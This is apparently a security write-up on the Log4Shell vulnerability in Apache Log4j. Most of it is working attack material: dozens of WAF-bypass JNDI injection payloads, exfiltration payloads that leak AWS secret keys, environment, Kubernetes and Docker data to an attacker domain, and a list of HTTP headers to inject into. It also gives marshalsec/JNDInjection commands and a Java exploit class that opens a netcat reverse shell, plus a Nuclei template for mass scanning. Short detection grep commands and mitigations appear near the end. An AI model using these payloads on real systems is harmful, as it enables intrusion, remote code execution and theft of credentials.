0x00 Introduction CVE-2021-44228 (a.k.a. log4shell) is a Remote Code Execution vulnerability in the Apache Log4j library, a Java-based logging tool widely used in applications around the world. This vulnerability allows an attacker who can control log messages to execute arbitrary code loaded from attacker-controlled servers — and we anticipate that most apps using the Log4j library will meet this condition.
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. Affected versions are 2.0 <= Apache log4j <= 2.14.1
0x01 How to works
An attacker inserts the JNDI lookup/payload in a anywhere of request that is likely to be logged. (for instance: ${jndi:ldap://domain.com/j}
)
The payload is passed to log4j for logging.
Log4j interpolates the string and queries the malicious ldap server.
The ldap server responds with directory information that contains the malicious java class.
Java deserializes or download the malicious java class and execute it.
0x02 Simple DNS Log Monitor Services
0x04 Waf Bypass & Data Exfiltration Payloads 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ${jndi:ldap://domain.com/j} ${jndi:ldap:/domain.com/a} ${jndi:dns:/domain.com} ${jndi:dns://domain.com/j} ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j} ${${::-j}ndi:rmi://domain.com/j} ${jndi:rmi://domainldap.com/j} ${${lower:jndi}:${lower:rmi}://domain.com/j} ${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j} ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://domain.com/j} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j} ${jndi:${lower:l}${lower:d}a${lower:p}://domain.com} ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a} ${jn${env::-}di:ldap://domain.com/j} ${jn${date:}di${date:':'}ldap://domain.com/j} ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://domain.com/j} ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://domain.com/j} ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://domain.com/j} ${j${::-nD}i${::-:}ldap://domain.com/j} ${j${EnV:K5:-nD}i:ldap://domain.com/j} ${j${loWer:Nd}i${uPper::}ldap://domain.com/j} ${jndi:ldap://127.0.0.1#domain.com/j} ${jnd${upper:ı}:ldap://domain.com/j} ${jnd${sys:SYS_NAME:-i}:ldap:/domain.com/j} ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://domain.com/j} ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://domain.com/j} ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://domain.com/j} ${\u006a\u006e\u0064\u0069:ldap://domain.com/j} ${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}.domain.com/j} ${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://domain.com/j} %24%7Bjndi:ldap://domain.com/j%7D %24%7Bjn$%7Benv::-%7Ddi:ldap://domain.com/j%7D
The following payloads can be used for data exfiltration if you got ping back but it’s non exploitable.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 # Docker Lookup ${jndi:ldap://${docker:containerId}.domain.com/j} ${jndi:ldap://${docker:containerName}.domain.com/j} ${jndi:ldap://${docker:imageId}.domain.com/j} ${jndi:ldap://${docker:imageName}.domain.com/j} ${jndi:ldap://${docker:shortContainerId}.domain.com/j} ${jndi:ldap://${docker:shortImageId}.domain.com/j} # Environment Lookup ${jndi:ldap://${env:USER}.domain.com/j} ${jndi:ldap://${env:user}.domain.com/j} ${jndi:ldap://${env:COMPUTERNAME}.domain.com/j} ${jndi:ldap://${env:USERDOMAIN}.domain.com/j} ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.domain.com/j} ${jndi:ldap://${hostName}.domain.com/j} ${jndi:ldap://${env:JAVA_VERSION}.domain.com/j} # Java Lookup ${jndi:ldap://${java:version}.domain.com/j} ${jndi:ldap://${java:runtime}.domain.com/j} ${jndi:ldap://${java:vm}.domain.com/j} ${jndi:ldap://${java:os}.domain.com/j} ${jndi:ldap://${java:locale}.domain.com/j} ${jndi:ldap://${java:hw}.domain.com/j} # Kubernetes Lookup ${jndi:ldap://${k8s:accountName}.domain.com/j} ${jndi:ldap://${k8s:clusterName}.domain.com/j} ${jndi:ldap://${k8s:containerId}.domain.com/j} ${jndi:ldap://${k8s:containerName}.domain.com/j} ${jndi:ldap://${k8s:host}.domain.com/j} ${jndi:ldap://${k8s:hostIp}.domain.com/j} ${jndi:ldap://${k8s:labels.app}.domain.com/j} ${jndi:ldap://${k8s:labels.podTemplateHash}.domain.com/j} ${jndi:ldap://${k8s:masterUrl}.domain.com/j} ${jndi:ldap://${k8s:namespaceId}.domain.com/j} ${jndi:ldap://${k8s:namespaceName}.domain.com/j} ${jndi:ldap://${k8s:podId}.domain.com/j} ${jndi:ldap://${k8s:podIp}.domain.com/j} ${jndi:ldap://${k8s:podName}.domain.com/j} ${jndi:ldap://${k8s:imageId}.domain.com/j} ${jndi:ldap://${k8s:imageName}.domain.com/j} ${jndi:ldap://.domain.com/j} # Main Arguments Lookup ${jndi:ldap://${main:0}.domain.com/j} ${jndi:ldap://${main:1}.domain.com/j} ${jndi:ldap://${main:2}.domain.com/j} ${jndi:ldap://${main:3}.domain.com/j} ${jndi:ldap://${main:4}.domain.com/j} ${jndi:ldap://${main:\--file}.domain.com/j} ${jndi:ldap://${main:\-x}.domain.com/j} ${jndi:ldap://${main:bar}.domain.com/j} ${jndi:ldap://${main:\--quiet:-true}.domain.com/j} # Web Lookup ${jndi:ldap://${web:attr.name}.domain.com/j} ${jndi:ldap://${web:contextPath}.domain.com/j} ${jndi:ldap://${web:contextPathName}.domain.com/j} ${jndi:ldap://${web:effectiveMajorVersion}.domain.com/j} ${jndi:ldap://${web:effectiveMinorVersion}.domain.com/j} ${jndi:ldap://${web:initParam.name}.domain.com/j} ${jndi:ldap://${web:majorVersion}.domain.com/j} ${jndi:ldap://${web:minorVersion}.domain.com/j} ${jndi:ldap://${web:rootDir}.domain.com/j} ${jndi:ldap://${web:serverInfo}.domain.com/j} ${jndi:ldap://${web:servletContextName}.domain.com/j} # System Properties Lookup ${jndi:ldap://${sys:logPath}.domain.com/j} ${jndi:ldap://${sys:java.version}.domain.com/j} ${jndi:ldap://${sys:java.vendor}.domain.com/j} # Structured Data Lookup ${jndi:ldap://${sys:logPath}.domain.com/j} # Date Lookup ${jndi:ldap://${date:MM-dd-yyyy}.domain.com/j} # Context Map Lookup ${jndi:ldap://${ctx:loginId}.domain.com/j}
Check these headers
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 Accept-Charset Accept-Datetime Accept-Encoding Accept-Language Authorization Authorization: Basic Authorization: Bearer Authorization: Oauth Authorization: Token Cache-Control Cf-Connecting_ip CF-Connecting_IP Client-Ip Client-IP Contact Cookie Destination DNT Forwarded Forwarded-For Forwarded-For-Ip Forwarded-Proto From If-Modified-Since Max-Forwards Origin Originating-Ip Pragma Profile Proxy Proxy-Host Referer TE True-Client-Ip True-Client-IP Upgrade User-Agent Via Warning X-Api-Version X-Arbitrary X-Att-Deviceid X-ATT-DeviceId X-Client-Ip X-Client-IP X-Correlation-ID X-Csrf-Token X-CSRFToken X-Do-Not-Track X-Foo X-Foo-Bar X-Forwarded X-Forwarded-By X-Forwarded-For X-Forwarded-For-Original X-Forwarded-Host X-Forwarded-Port X-Forwarded-Proto X-Forwarded-Protocol X-Forwarded-Scheme X-Forwarded-Server X-Forwarded-Server X-Forwarded-Ssl X-Forwarder-For X-Forward-For X-Forward-Proto X-Frame-Options X-From X-Geoip-Country X-Host X-Http-Destinationurl X-HTTP-DestinationURL X-Http-Host-Override X-Http-Method X-Http-Method-Override X-HTTP-Method-Override X-Http-Path-Override X-Https X-Htx-Agent X-Hub-Signature X-If-Unmodified-Since X-Imbo-Test-Config X-Insight X-Ip X-Ip-Trail X-Leakix X-Log X-Original-URL X-Originating-Ip X-Originating-IP X-ProxyUser-Ip X-Real-Ip X-Real-IP X-Remote-Addr X-Remote-Ip X-Requested-With X-Request-ID X-UIDH X-Wap-Profile X-XSRF-TOKEN
0x03 Exploitation There are a lot diffirent way for exploitation. I will only share two. in fact they do same thing in background. one is shortter only.
The following command starts rmiserver,ldap server. It generates jndi links. These links serves java class for performing commands that spesified at C parameter. A is your server-ip that you run ldap&rmi.
java -jar JNDInjection.jar -C "nc 192.168.1.XX 1337 -e /bin/sh" -A "192.168.1.XX"
This way is a little dirty. The following command starts a ldap server and forwarding requests to spesified url. Because of this you should start a web server and serve the malicious java class over the server. To do this quicly you can use python http.server module. note that the java class must be compatible/supports target’s jdk version.
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.XX:1337/#Exploit"
python.exe -m http.server 1337
a simple example of java exploit to linux systems. (compile with javac)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class Exploit {public Exploit () {}static { try { Runtime.getRuntime().exec("nc 192.168.1.105 1337 -e /bin/sh" ); }catch (Exception e){ e.printStackTrace(); } } public static void main (String[] args) { Exploit e = new Exploit(); } }
0x05 Exploitation Detection
a bash command for quick detection log4shell attempts. It involves some waf bypass payloads too. It matched all payload that shared by sans in here.
1 find / -name "*.log" -exec grep "\${jndi:ldap\|\${\${::-j}\|\${jndi:rmi\|\${\${lower:jndi}\|\${\${lower\:j}\${lower:n}\|\${\${lower:j}\${upper:n}\|\${\${lower:\${lower:jndi}}:" {} -n -H --color \;
a bash command for quick detection log4shell attempts in compressed files.
1 sudo find / -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
YARA Rule
IOCs
CrowdSec Log4Shell Threat Tracker
0x06 Test it in Your Local: Vulnerable App: log4shell-vuln-app
0x07 Burp Extansions
0x08 Mitigations
in previous releases (<2.10) this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups=true
or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath. (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
)
0x09 References big shout out to;lunasec , fastly.com , cyberkendra.com , govcert.ch , @tangxiaofeng7 , @christophetd ,@shutingrz , @bugbountynights , @BountyOverflow , @ymzkei5 , @Neo23x0 , @hrbrmstr , @Puliczek
0xA Why this thumbnail? Seraph: The Oracle has many enemies, I had to be sure.Neo: Of what?Seraph: That you were The One.Neo: You could’ve just asked.Seraph: You do not truly know someone until you fight them.
0xB Automating All Step with Nuclei [update: 21.03.2022] When log4shell had released i created a nuclei template in the first days of log4shell. It found 1000+ vulnerable application. I’m publishing it because the vulnerability has been fixed almost all systems.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 id: CVE-2021-44228 info: name: Log4j Remote Code Execution [log4shell] author: musana severity: critical description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. reference: - https://www.lunasec.io/docs/blog/log4j-zero-day/ tags: CVE-2021-44228,log4shell,log4j requests: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Referer: https://google.com.tr {{headerName}}: {{bypassPayloads}}{{Host}}.{{headerName}}.{{interactsh-url}}/f} payloads: headerName: - Accept-Charset - Accept-Datetime - Accept-Encoding - Accept-Language - Authorization - Cache-Control - Cf-Connecting_ip - Client-Ip - Contact - Cookie - DNT - Forwarded - Forwarded-For - Forwarded-For-Ip - Forwarded-Proto - From - If-Modified-Since - Max-Forwards - Origin - Originating-Ip - Pragma - Referer - TE - True -Client-IP - True -Client-Ip - Upgrade - User-Agent - Via - Warning - X-ATT-DeviceId - X-Api-Version - X-Att-Deviceid - X-CSRFToken - X-Client-Ip - X-Correlation-ID - X-Csrf-Token - X-Do-Not-Track - X-Foo - X-Foo-Bar - X-Forward-For - X-Forward-Proto - X-Forwarded - X-Forwarded-By - X-Forwarded-For - X-Forwarded-For-Original - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Protocol - X-Forwarded-Scheme - X-Forwarded-Server - X-Forwarded-Ssl - X-Forwarder-For - X-Frame-Options - X-From - X-Geoip-Country - X-HTTP-Method-Override - X-Http-Destinationurl - X-Http-Host-Override - X-Http-Method - X-Http-Method-Override - X-Http-Path-Override - X-Https - X-Htx-Agent - X-Hub-Signature - X-If-Unmodified-Since - X-Imbo-Test-Config - X-Insight - X-Ip - X-Ip-Trail - X-Leakix - X-Originating-Ip - X-ProxyUser-Ip - X-Real-Ip - X-Remote-Addr - X-Remote-Ip - X-Request-ID - X-Requested-With - X-UIDH - X-Wap-Profile - X-XSRF-TOKEN bypassPayloads: - ${jndi:ldap://1. - ${jndi:ldap:/2. - ${jndi:dns:/3. - ${jndi:dns://4. - ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://5. - ${${::-j}ndi:rmi://6. - ${jndi:rmi://domainldap.com/j}7. - ${${lower:jndi}:${lower:rmi}://8. - ${${lower:${lower:jndi}}:${lower:rmi}://9. - ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://10. - ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://11. - ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://12. - ${jndi:${lower:l}${lower:d}a${lower:p}://13. - ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//14. - ${jn${env::-}di:ldap://15. - ${jn${date:}di${date:':'}ldap://16. - ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://17. - ${j${main:\k5:-Nd}i${spring:k5:-:}ldap://18. - ${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://19. - ${j${::-nD}i${::-:}ldap://20. - ${j${EnV:K5:-nD}i:ldap://21. - ${j${loWer:Nd}i${uPper::}ldap://22. - ${jndi:ldap://127.0.0.1#23. - ${jnd${upper:ı}:ldap://24. - ${jnd${sys:SYS_NAME:-i}:ldap:/25. - ${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://26. - ${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://27. - ${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://28. - ${\u006a\u006e\u0064\u0069:ldap://29. attack: clusterbomb matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: regex part: interactsh_request regex: - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' extractors: - type: regex part: interactsh_request regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'